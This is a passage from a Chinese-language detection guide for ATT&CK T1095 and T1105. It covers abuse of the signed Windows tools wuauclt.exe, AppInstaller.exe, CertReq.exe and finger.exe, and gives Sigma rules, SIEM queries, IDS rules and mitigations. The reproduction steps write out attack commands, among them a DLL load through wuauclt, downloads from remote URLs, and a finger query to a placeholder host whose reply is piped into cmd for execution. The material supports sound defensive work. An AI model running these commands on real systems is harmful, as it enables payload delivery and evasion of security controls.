("*ping.exe","*powershell.exe","*python.exe") | stats count by Image, Protocol, DestinationIp, DestinationPort, User, ComputerName ``` 5. **网络流量分析**: - 检查ICMP数据包大小: ```bash tshark -f "icmp" -Y "length > 64" ``` - 检查UDP流量: ```bash tshark -f "udp port 12345" -Y "udp" ``` - 使用IDS规则检测ICMP隧道: ```snort alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"Suspicious ICMP Traffic"; dsize:>64; sid:1000008;) ``` 6. **API调用监控**: - 使用EDR工具监控与ICMP/UDP相关的API调用(如`IcmpSendEcho`、`sendto`)。 - 示例API检测: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 7 -and $_.Message -match "ws2_32.dll" } ``` 7. **工具支持**: - 使用Wireshark分析ICMP/UDP流量,检查数据模式。 - 使用Sysinternals Process Monitor捕获协议相关进程活动。 - 使用Zeek生成协议日志,分析流量模式。 8. **威胁情报整合**: - 检查目标IP是否与已知C2服务器匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御非应用层协议通信需从协议限制、流量监控和进程控制入手: 1. **限制ICMP/UDP流量** - 配置防火墙阻止非必要ICMP: ```powershell New-NetFirewallRule -DisplayName "Block ICMP Outbound" -Direction Outbound -Action Block -Protocol ICMP ``` - 限制非标准UDP端口: ```powershell New-NetFirewallRule -DisplayName "Block UDP Ports" -Direction Outbound -Action Block -Protocol UDP -RemotePort 12345 ``` 2. **限制工具执行** - 使用AppLocker限制`ping.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "%SystemRoot%\System32\ping.exe" -Action Deny -User "Everyone" ``` 3. **监控协议流量** - 配置Sysmon监控ICMP/UDP: ```xml icmp udp ``` - 部署IDS/IPS检测异常ICMP/UDP流量。 4. **加强日志监控** - 启用Sysmon事件ID 1、3、7和PowerShell事件ID 4104,检测协议行为。 - 配置SIEM实时告警ICMP/UDP异常流量。 - 使用EDR工具检测协议滥用。 5. **定期审计** - 检查ICMP/UDP流量: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "icmp|udp" } ``` - 检查可疑进程: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "ping.exe|powershell.exe" } ``` 6. **补丁管理** - 确保系统安装最新补丁,修复协议漏洞。 ## 参考推荐 - MITRE ATT&CK: T1095 ================================================ FILE: Windows/12命令与控制/T1105-Windows Update可滥用于执行恶意程序行为检测.md ================================================ # T1105-Win-入口工具转移-wuauclt.exe(白名单) ## 描述 攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻陷的环境中,以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具(如FTP)或替代协议(如scp、rsync、sftp)实现,适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具(如`wuauclt.exe`)来规避传统防病毒检测或安全机制。 ## 测试案例 根据Bleeping Computer报道,MDSec研究人员David Middlehurst发现,攻击者可利用Windows Update客户端`wuauclt.exe`(位于`C:\Windows\System32\wuauclt.exe`)加载特制的DLL文件,从而在Windows 10及以上系统中执行恶意代码。此技术通过`/UpdateDeploymentProvider`和`/RunHandlerComServer`命令行参数实现,可能绕过用户账户控制(UAC)和Windows Defender应用程序控制(WDAC),用于在已受损系统上实现持久化或代码执行。 ### 路径 ```yml - C:\Windows\System32\wuauclt.exe ``` ### 示例命令 从指定路径加载恶意DLL: ```yml wuauclt.exe /UpdateDeploymentProvider [path_to_dll] /RunHandlerComServer ``` ### 用例 - 加载恶意DLL以执行攻击者控制的代码。 - 所需权限:用户权限(可能需要管理员权限加载特定DLL)。 - 操作系统:Windows 10、Windows 11、Windows Server 2016、Windows Server 2019、Windows Server 2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`wuauclt.exe`进程创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`wuauclt.exe`进程创建及命令行参数。 - **事件ID 7**:记录DLL加载事件,检测是否加载了非系统DLL。 - **事件ID 3**:记录可能的网络连接(若DLL发起网络活动)。 ### EDR日志 - 其他EDR类产品(如CrowdStrike、Microsoft Defender for Endpoint)可能记录`wuauclt.exe`的异常行为或DLL加载事件。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows 11。 - **权限**:用户权限(部分场景可能需要管理员权限)。 - **工具**: - `wuauclt.exe`(系统自带,路径`C:\Windows\System32\wuauclt.exe`)。 - Sysmon(用于进程和DLL加载监控)。 - 测试DLL(需在合法授权环境中创建模拟恶意DLL)。 - **网络**:视DLL功能,可能涉及网络连接,建议在隔离网络中测试。 - **日志**:启用Windows安全日志、Sysmon日志及EDR监控。 ### 攻击步骤 1. **准备恶意DLL**: - 创建或获取测试用DLL(需在合法授权环境中模拟)。 2. **执行命令**: ```bash C:\Windows\System32\wuauclt.exe /UpdateDeploymentProvider C:\path\to\malicious.dll /RunHandlerComServer ``` - 命令加载指定路径的DLL并执行其代码。 3. **验证结果**: - 检查DLL是否被加载(通过Sysmon事件ID 7)。 - 监控后续行为(如网络连接或文件操作)。 4. **清理**: - 删除测试DLL,终止相关进程。 **注意**:测试需在合法授权的隔离环境中进行,避免对生产环境或未经授权的系统造成影响。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 进程信息: 新进程 ID: 0x1f4c 新进程名称: C:\Windows\System32\wuauclt.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x1a30 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: wuauclt.exe /UpdateDeploymentProvider C:\path\to\malicious.dll /RunHandlerComServer ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测`wuauclt.exe`的异常执行行为: ```yml title: Windows Update Client Abused Execution id: a9b8c7d4-2e3f-4c6a-9e8f-4d3b6c7a8e9b status: experimental description: Detects code execution via the Windows Update client (wuauclt.exe) with suspicious parameters author: David Middlehurst, adapted by Grok date: 2022/04/20 references: - https://www.nruan.com/75037.html - https://attack.mitre.org/techniques/T1105 tags: - attack.command_and_control - attack.execution - attack.t1105 - attack.t1218 logsource: product: windows category: process_creation detection: selection: Image|endswith: '\wuauclt.exe' CommandLine|contains|all: - '/UpdateDeploymentProvider' - '/RunHandlerComServer' condition: selection falsepositives: - Legitimate Windows Update operations (rare with these specific parameters) level: high ``` ### 检测思路 1. **进程监控**: - 检查`wuauclt.exe`的命令行参数是否包含`/UpdateDeploymentProvider`和`/RunHandlerComServer`。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)。 2. **DLL加载监控**: - 使用Sysmon事件ID 7检测`wuauclt.exe`加载的DLL,重点关注非系统路径的DLL。 3. **网络监控**: - 检测`wuauclt.exe`或加载的DLL发起的异常网络连接。 4. **行为监控**: - 检测`wuauclt.exe`在非Windows Update场景下的运行。 5. **关联分析**: - 结合Sysmon事件ID 1(进程创建)、7(DLL加载)和3(网络连接)进行关联,识别完整攻击链。 ### 检测建议 - **告警规则**:基于Sigma规则,配置SIEM系统(如Splunk、Elastic)检测`wuauclt.exe`的异常命令行参数和DLL加载。 - **基线对比**:建立`wuauclt.exe`的正常使用基线(通常与Windows Update相关),排除合法行为。 - **DLL白名单**:限制`wuauclt.exe`加载非系统DLL。 - **EDR增强**:使用EDR工具(如Microsoft Defender for Endpoint)监控`wuauclt.exe`的异常行为。 ## 缓解措施 1. **限制DLL加载**: - 配置Windows Defender应用程序控制(WDAC)限制`wuauclt.exe`加载非受信任DLL。 2. **加强日志监控**: - 启用命令行参数记录和Sysmon日志,覆盖进程、DLL加载和网络活动。 3. **白名单管理**: - 使用应用白名单工具(如AppLocker)限制`wuauclt.exe`的执行场景。 4. **权限管理**: - 限制普通用户运行`wuauclt.exe`加载自定义DLL的能力。 5. **定期审查**: - 检查系统内`wuauclt.exe`的异常使用记录,结合威胁情报分析潜在风险。 ## 参考推荐 - MITRE ATT&CK T1105 https://attack.mitre.org/techniques/T1105 - Windows Update被发现可滥用于执行恶意程序 https://www.nruan.com/75037.html ================================================ FILE: Windows/12命令与控制/T1105-win-入口工具转移-AppInstaller.exe(白名单、失效).md ================================================ # T1105-Win-入口工具转移-AppInstaller.exe(白名单、失效) ## 描述 攻击者利用合法工具`AppInstaller.exe`从外部系统将工具或恶意文件转移到被攻陷环境(T1105),以实现工具部署或恶意软件分发。`AppInstaller.exe`是Windows 10内置组件,负责处理`ms-appinstaller`协议,用于安装AppX/MSIX应用程序。攻击者可通过伪造`ms-appinstaller://?source=`URI,诱导`AppInstaller.exe`从指定URL下载文件并保存到用户临时目录(如`C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_*\AC\INetCache`)。由于其为白名单程序且由Microsoft签名,易被恶意利用以规避检测。 然而,自2023年12月13日起,Microsoft已禁用`ms-appinstaller`协议以防止恶意软件传播(参考相关X帖子和Microsoft Q&A),当前此技术已失效。检测重点在于历史数据分析或遗留系统监控,尤其是涉及`AppInstaller.exe`的DNS查询或文件下载行为。 ## 测试案例 1. **AppInstaller文件下载** 使用`ms-appinstaller`协议从远程URL下载恶意文件,模拟工具转移。 2. **临时文件提取** 使用`forfiles`提取`AppInstaller.exe`下载的临时文件。 ### 示例命令 - **触发下载**(需用户权限,Windows 10): ```cmd start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw timeout 1 & taskkill /F /IM AppInstaller.exe > NUL ``` - **提取临时文件**: ```cmd forfiles /P "C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_*\AC\INetCache" /S /M * /C "cmd /c if @fsize==8 FOR /F \"tokens=*\" %g IN ('type @path') do @echo %g" > NUL ``` - **清理**(如有文件): ```cmd del /Q "C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_*\AC\INetCache\*" ``` **注意**:由于协议已禁用,现代Windows系统将显示“ms-appinstaller protocol has been disabled”错误。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`AppInstaller.exe`进程创建及命令行参数(若启用)。 **Sysmon日志** - **事件ID 1**:记录`AppInstaller.exe`进程创建,捕获命令行参数。 - **事件ID 3**:记录网络连接,捕获`AppInstaller.exe`的HTTP请求(目标IP/端口)。 - **事件ID 11**:记录临时文件(如`INetCache`中的下载文件)创建。 **DNS日志** - 捕获`AppInstaller.exe`发起的DNS查询,关联至目标URL。 **网络日志** - 捕获`AppInstaller.exe`的HTTP流量(如向非预期URL的GET请求)。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用Sysmon配置:监控`AppInstaller.exe`及`INetCache`路径: ```xml AppInstaller.exe AppData\Local\Packages\Microsoft.DesktopAppInstaller_ ``` - 配置IDS/IPS记录HTTP流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10(较旧版本,如未更新至禁用协议的补丁)。 - **权限**:用户权限(无需管理员)。 - **工具**:`AppInstaller.exe`(系统自带)、Sysmon、Wireshark、测试Web服务器(如`https://pastebin.com`)。 - **网络**:可控网络环境,允许HTTPS出站流量。 - **日志**:启用Windows安全日志、Sysmon日志,配置网络监控。 ### 攻击步骤 1. **触发下载** ```cmd start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw timeout 1 & taskkill /F /IM AppInstaller.exe > NUL ``` 2. **提取文件** ```cmd forfiles /P "C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_*\AC\INetCache" /S /M * /C "cmd /c if @fsize==8 FOR /F \"tokens=*\" %g IN ('type @path') do @echo %g" > NUL ``` 3. **验证结果** - 检查Sysmon日志(进程创建): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "AppInstaller.exe" } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "AppInstaller.exe" } ``` - 检查文件创建: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 11 -and $_.Message -match "INetCache" } ``` - 检查Windows安全日志: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "AppInstaller.exe" } ``` - 检查Netflow(Wireshark过滤`https`)。 4. **清理** ```cmd del /Q "C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_*\AC\INetCache\*" ``` ### 示例输出 ```cmd start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw Cannot open app package Reason: The ms-appinstaller protocol has been disabled. Please ask the vendor to update the web link. For more information go to aka.ms/ms-appinstaller-disabled. ``` **注意**:由于协议已禁用,测试在现代系统上将失败。需使用未更新或遗留系统复现。 ## 测试留痕 - **历史日志(若未禁用前执行)**: - `AppInstaller.exe`进程创建(Windows安全日志事件ID 4688)。 - 临时文件(如`INetCache`中的下载文件,Sysmon事件ID 11)。 - DNS查询至目标URL(DNS日志)。 - **当前状态**:无有效留痕,系统直接拒绝执行。 ## 检测方法/思路 **检测规则** 通过监控`AppInstaller.exe`的DNS查询、网络连接及文件操作,检测历史或遗留系统的恶意行为。以下是具体思路: 1. **日志分析**: - 监控DNS日志,检测`AppInstaller.exe`发起的异常域名查询。 - 监控Sysmon事件ID 1,检测`AppInstaller.exe`进程创建及命令行参数。 - 监控Sysmon事件ID 3,检测`AppInstaller.exe`的HTTP连接(非预期URL)。 - 监控Sysmon事件ID 11,检测`INetCache`中的临时文件创建。 - 监控Windows安全日志事件ID 4688,检测`AppInstaller.exe`执行(若记录)。 - 检查Netflow,检测`AppInstaller.exe`的HTTP流量。 2. **Sigma规则(AppInstaller DNS查询)**: ```yaml title: AppInstaller Attempts From URL by DNS id: 7cff77e1-9663-46a3-8260-17f2e1aa9d0a description: Detects AppInstaller.exe spawned by the default handler for the ms-appinstaller URI, attempting to load/install a package from a URL status: experimental tags: - attack.command_and_control - attack.t1105 references: - https://twitter.com/notwhickey/status/1333900137232523264 - https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/ logsource: product: windows category: dns_query detection: selection: Image|startswith: 'C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_' Image|endswith: '\AppInstaller.exe' condition: selection fields: - Image - QueryName - User falsepositives: - Legitimate AppX/MSIX installation - Unknown legacy usage level: medium ``` 3. **Sigma规则(AppInstaller文件操作)**: ```yaml title: AppInstaller Temporary File Creation id: 8d0e88f2-9774-47b4-8361-28f3e2bb9e1b status: experimental description: Detects creation of temporary files by AppInstaller.exe in INetCache directory logsource: product: windows service: sysmon detection: selection: EventID: 11 TargetFilename|contains: 'AppData\Local\Packages\Microsoft.DesktopAppInstaller_' TargetFilename|contains: '\AC\INetCache' condition: selection fields: - Image - TargetFilename - User falsepositives: - Legitimate AppX/MSIX downloads - Legacy system behavior level: medium ``` 4. **SIEM规则**: - 检测`AppInstaller.exe`异常行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 Image="*AppInstaller.exe" OR EventID=3 Image="*AppInstaller.exe" OR EventID=11 TargetFilename="*AppData\Local\Packages\Microsoft.DesktopAppInstaller_*")) OR (source="WinEventLog:Security" EventCode=4688 Image="*AppInstaller.exe") | stats count by Image, CommandLine, DestinationIp, TargetFilename, User, ComputerName ``` 5. **网络流量分析**: - 检查`AppInstaller.exe`的HTTP请求: ```bash tshark -f "tcp port 443" -Y "http.request" ``` - 使用IDS规则检测异常流量: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"Suspicious AppInstaller HTTP Request"; content:"AppInstaller.exe"; sid:1000011;) ``` 6. **工具支持**: - 使用Wireshark分析`AppInstaller.exe`的HTTP流量。 - 使用Sysinternals Process Monitor捕获`AppInstaller.exe`的文件和网络活动。 - 使用EDR工具(如CrowdStrike、Carbon Black)监控`AppInstaller.exe`行为。 7. **威胁情报整合**: - 检查下载URL或文件哈希是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 由于`ms-appinstaller`协议已禁用,当前风险较低,但需关注遗留系统: 1. **保持系统更新** - 确保所有Windows系统应用最新补丁,维持`ms-appinstaller`协议禁用状态。 2. **限制AppInstaller执行** - 使用AppLocker限制`AppInstaller.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_*" -Action Deny -User "Everyone" ``` 3. **监控遗留行为** - 配置Sysmon监控`AppInstaller.exe`及`INetCache`路径: ```xml AppInstaller.exe AppData\Local\Packages\Microsoft.DesktopAppInstaller_ ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、3、11和Windows事件ID 4688,检测`AppInstaller.exe`行为(适用于遗留系统)。 - 配置SIEM实时告警`AppInstaller.exe`的网络或文件活动。 - 使用EDR工具监控白名单程序滥用。 5. **定期审计** - 检查`AppInstaller.exe`执行: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "AppInstaller.exe" } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "AppInstaller.exe" } ``` 6. **网络控制** - 配置防火墙阻止非预期`AppInstaller.exe`出站流量: ```powershell New-NetFirewallRule -DisplayName "Block AppInstaller HTTP" -Direction Outbound -Action Block -Program "C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_*" -Protocol TCP -RemotePort 80,443 ``` ## 参考推荐 - MITRE ATT&CK: T1105 - LOLBAS: AppInstaller.exe - Sigma: win_dq_lobas_appinstaller ================================================ FILE: Windows/12命令与控制/T1105-win-入口工具转移-CertReq.exe(白名单).md ================================================ # T1105-Win-入口工具转移-CertReq.exe(白名单) ## 描述 攻击者利用合法工具`CertReq.exe`从外部系统将工具或恶意文件转移到被攻陷环境(T1105),以实现工具部署或恶意软件分发。`CertReq.exe`是Windows内置组件,设计用于请求证书、检索CA响应或处理证书请求文件。攻击者可通过滥用其`-Post`和`-config`参数,将HTTP POST请求发送至外部URL(如`https://www.baidu.com/`),将响应内容保存为本地文件(如`output.txt`),从而下载恶意文件。由于`CertReq.exe`为白名单程序且由Microsoft签名,易被恶意利用以规避传统防病毒检测。 此技术适用于Windows Vista及以上版本,需用户权限即可执行。检测重点在于监控`CertReq.exe`的异常命令行参数(包含HTTP URL)、网络请求及文件创建行为。 ## 测试案例 1. **CertReq文件下载** 使用`CertReq.exe`通过HTTP POST从远程URL下载文件,模拟工具转移。 2. **配置文件伪造** 利用`win.ini`作为占位符,触发HTTP请求并保存响应。 ### 示例命令 - **触发下载**(需用户权限): ```cmd CertReq -Post -config https://www.baidu.com/ c:\windows\win.ini output.txt ``` - **清理**: ```cmd del output.txt ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`CertReq.exe`进程创建及命令行参数(若启用)。 **Sysmon日志** - **事件ID 1**:记录`CertReq.exe`进程创建,捕获命令行参数。 - **事件ID 3**:记录网络连接,捕获`CertReq.exe`的HTTP请求(目标IP/端口)。 - **事件ID 11**:记录输出文件(如`output.txt`)创建。 **PowerShell日志** - **事件ID 4104**:记录若通过PowerShell调用`CertReq.exe`的脚本执行。 **网络日志** - 捕获`CertReq.exe`发起的HTTP POST请求。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon监控`CertReq.exe`及文件操作: ```xml certreq.exe c:\windows\win.ini ``` - 配置IDS/IPS记录HTTP流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016/2022(支持Vista及以上)。 - **权限**:用户权限(无需管理员)。 - **工具**:`CertReq.exe`(系统自带,路径`C:\Windows\System32\certreq.exe`或`C:\Windows\SysWOW64\certreq.exe`)、Sysmon、Wireshark、测试Web服务器(如`https://www.baidu.com`)。 - **网络**:可控网络环境,允许HTTPS出站流量。 - **日志**:启用Windows安全日志、Sysmon日志,配置网络监控。 ### 攻击步骤 1. **触发下载** ```YML C:\Users\liyang\Desktop\asptest>CertReq -Post -config https://www.baidu.com/ c:\windows\win.ini output.txt OK HTTP/1.1 200 OK Cache-Control: max-age=86400 Date: Mon, 18 Apr 2022 06:28:15 GMT Content-Length: 19825 Content-Type: text/html Expires: Tue, 19 Apr 2022 06:28:15 GMT Last-Modified: Wed, 10 Mar 2021 06:27:44 GMT Accept-Ranges: bytes ETag: "4d71-5bd28c3bf7800" P3P: CP=" OTI DSP COR IVA OUR IND COM " Server: Apache Set-Cookie: BAIDUID=4305E8F795AE7B64177F5105CD755190:FG=1; expires=Tue, 18-Apr-23 06:28:15 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1 Vary: Accept-Encoding,User-Agent ``` **注意**:测试需在合法授权环境进行,替换URL为测试服务器。 ## 测试留痕 ```YML 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 进程信息: 新进程 ID: 0x1778 新进程名称: C:\Windows\System32\certreq.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x24b4 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: CertReq  -Post -config https://www.baidu.com/ c:\windows\win.ini output.txt ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则(`win_susp_certreq_download`),检测`CertReq.exe`的异常下载行为: ```yml title: Suspicious Certreq Command to Download id: 4480827a-9799-4232-b2c4-ccc6c4e9e12b status: experimental description: Detects suspicious Certreq execution that may be abused to download files via HTTP POST. author: Christian Burkard date: 2021/11/24 references: - https://lolbas-project.github.io/lolbas/Binaries/Certreq/ - https://attack.mitre.org/techniques/T1105/ logsource: category: process_creation product: windows detection: selection: Image|endswith: '\certreq.exe' CommandLine|contains|all: - ' -Post ' - ' -config ' - ' http' - ' C:\windows\win.ini ' condition: selection fields: - CommandLine - ParentCommandLine tags: - attack.command_and_control - attack.t1105 falsepositives: - Legitimate certificate management by administrators level: high ``` ### 检测思路 1. **进程监控**: - 检查`CertReq.exe`的命令行参数是否包含`-Post`、`-config`和HTTP/HTTPS URL。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)。 2. **网络监控**: - 检测`CertReq.exe`发起的HTTP/HTTPS POST请求,重点关注非预期目标URL。 3. **文件监控**: - 检查`CertReq.exe`创建的非预期文件(如`output.txt`)。 4. **异常行为**: - 检测`CertReq.exe`在非证书管理场景下的运行(如普通用户运行、异常时间点)。 5. **关联分析**: - 结合Sysmon事件ID 1(进程创建)、3(网络连接)和11(文件创建)进行关联,识别完整攻击链。 ### 检测建议 - **告警规则**:基于Sigma规则,配置SIEM系统(如Splunk、Elastic)检测`CertReq.exe`的异常命令行参数。 - **基线对比**:建立`CertReq.exe`的正常使用基线(如证书管理场景),排除合法行为。 - **网络白名单**:限制`CertReq.exe`的出站流量,仅允许访问已知CA服务器。 - **文件完整性监控**:监控`CertReq.exe`生成的文件,检测异常文件扩展名或内容。 ## 缓解措施 1. **限制网络访问**: - 配置防火墙,限制`CertReq.exe`的出站HTTP/HTTPS流量,仅允许访问合法CA服务器。 2. **加强日志监控**: - 确保启用命令行参数记录和Sysmon日志,覆盖进程、网络和文件操作。 3. **白名单管理**: - 使用应用白名单工具(如AppLocker)限制`CertReq.exe`的执行场景。 4. **用户权限管理**: - 限制普通用户运行`CertReq.exe`,仅允许证书管理相关账户使用。 5. **定期审查**: - 检查系统内`CertReq.exe`的异常使用记录,结合威胁情报分析潜在风险。 ## 参考推荐 - MITRE ATT&CK: T1105 - LOLBAS - CertReq.exe - Microsoft CertReq文档 - Sigma规则 - win_susp_certreq_download ================================================ FILE: Windows/12命令与控制/T1105-win-入口工具转移-Finger.exe(白名单).md ================================================ # T1105-Win-入口工具转移-# Finger.exe(白名单) ## 描述 攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻击的环境中,以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具(如FTP)或替代协议(如scp、rsync、sftp)实现,适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具(如`Finger.exe`)来规避传统防病毒检测。 ## 测试案例 `Finger.exe`是Windows系统内置的命令行工具,位于`C:\Windows\System32\finger.exe`或`C:\Windows\SysWOW64\finger.exe`,用于查询运行Finger服务或守护进程的远程主机(通常为UNIX系统)上一个或多个用户的信息。攻击者可通过连接到恶意Finger服务器,下载包含恶意shellcode的响应内容,并通过管道(如`cmd`)执行。 ### 路径 ```yml - c:\windows\system32\finger.exe - c:\windows\syswow64\finger.exe ``` ### 示例命令 从远程Finger服务器下载有效载荷(Payload)。此示例连接到“example.host.com”,查询用户“user”,结果可能包含恶意shellcode,由`cmd`进程执行。 ```yml finger user@example.host.com | more +2 | cmd ``` ### 用例 - 从恶意Finger服务器下载并执行有效载荷。 - 所需权限:用户权限。 - 操作系统:Windows 8.1、Windows 10、Windows 11、Windows Server 2008、Windows Server 2008R2、Windows Server 2012、Windows Server 2012R2、Windows Server 2016、Windows Server 2019、Windows Server 2022。 ### Windows安全日志 - **事件ID 4688**:记录`finger.exe`进程创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`finger.exe`进程创建及命令行参数。 - **事件ID 3**:记录`finger.exe`发起的网络连接(目标IP/端口,通常为TCP 79端口)。 - **事件ID 11**:记录可能的恶意文件创建(若攻击者将响应保存为文件)。 ### 网络日志 - 捕获`finger.exe`发起的TCP连接(默认端口79),检查目标主机是否异常。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10。 - **权限**:用户权限(无需管理员)。 - **工具**: - `finger.exe`(系统自带,路径`C:\Windows\System32\finger.exe`或`C:\Windows\SysWOW64\finger.exe`)。 - Sysmon(用于进程和网络监控)。 - Wireshark(用于网络流量捕获)。 - 测试Finger服务器(提供可控响应)。 - **网络**:允许TCP 79端口出站流量,建议在隔离网络中测试。 - **日志**:启用Windows安全日志和Sysmon日志。 ### 攻击步骤 1. **执行Finger命令**: ```yml C:\Users\liyang>Finger.exe 显示与运行手指服务的指定系统上某个用户有关 的信息。输出因远程系统而异。 FINGER [-l] [user]@host [...] -l 以长列表格式显示信息。 user 指定需要其信息的用户。省略 user 参数 将显示与指定主机上所有用户有关的信息。 @host 指定需要其用户信息的远程系统上的服务器。 C:\Users\liyang>finger user@example.host.com | more +2 | cmd Microsoft Windows [版本 10.0.18363.418] (c) 2019 Microsoft Corporation。保留所有权利。 ``` - 命令连接到`example.host.com`,查询用户`user`,并将响应通过管道传递给`cmd`执行。 ## 测试留痕 ```log 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 进程信息: 新进程 ID: 0x2c8 新进程名称: C:\Windows\System32\finger.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0xc78 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: finger  user@example.host.com ``` 基于Sigma规则(`win_susp_finger_usage`),检测`finger.exe`的异常执行行为: ```yml title: Finger.exe Suspicious Invocation id: af491bca-e752-4b44-9c86-df5680533dbc description: Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays author: Florian Roth, omkar72, oscd.community date: 2021/02/24 references: - https://twitter.com/bigmacjpg/status/1349727699863011328?s=12 - https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/ - http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt tags: - attack.command_and_control - attack.t1105 logsource: category: process_creation product: windows detection: selection: Image|endswith: '\finger.exe' condition: selection falsepositives: - Admin activity (unclear what they do nowadays with finger.exe) level: high ``` ### 检测思路 1. **进程监控**: - 检查`finger.exe`的命令行参数是否包含远程主机地址(如`user@host`)。 - 监控异常父进程(如`cmd.exe`)或管道操作(如`| cmd`)。 2. **网络监控**: - 检测`finger.exe`发起的TCP 79端口连接,重点关注非预期目标主机。 3. **行为监控**: - 检测`finger.exe`的运行是否伴随管道命令(如`more | cmd`)。 - 检查响应内容是否触发后续进程(如`cmd.exe`执行shellcode)。 4. **关联分析**: - 结合Sysmon事件ID 1(进程创建)、3(网络连接)和可能的11(文件创建)进行关联,识别完整攻击链。 ### 检测建议 - **告警规则**:基于Sigma规则,配置SIEM系统(如Splunk、Elastic)检测`finger.exe`的异常执行。 - **基线对比**:建立`finger.exe`的正常使用基线(通常在现代环境中极少使用),排除合法行为。 - **网络白名单**:限制`finger.exe`的出站流量,仅允许访问已知合法Finger服务器。 - **管道监控**:检测`finger.exe`输出到`cmd`或其他命令解释器的行为。 ## 缓解措施 1. **限制网络访问**: - 配置防火墙,限制`finger.exe`的出站TCP 79端口流量,仅允许访问已知合法服务器。 2. **加强日志监控**: - 启用命令行参数记录和Sysmon日志,覆盖进程、网络和可能的文件操作。 3. **白名单管理**: - 使用应用白名单工具(如AppLocker)限制`finger.exe`的执行场景。 4. **禁用Finger协议**: - 在不需要Finger服务的环境中,禁用或移除`finger.exe`。 5. **定期审查**: - 检查系统内`finger.exe`的异常使用记录,结合威胁情报分析潜在风险。 ## 参考推荐 - MITRE ATT&CK T1105 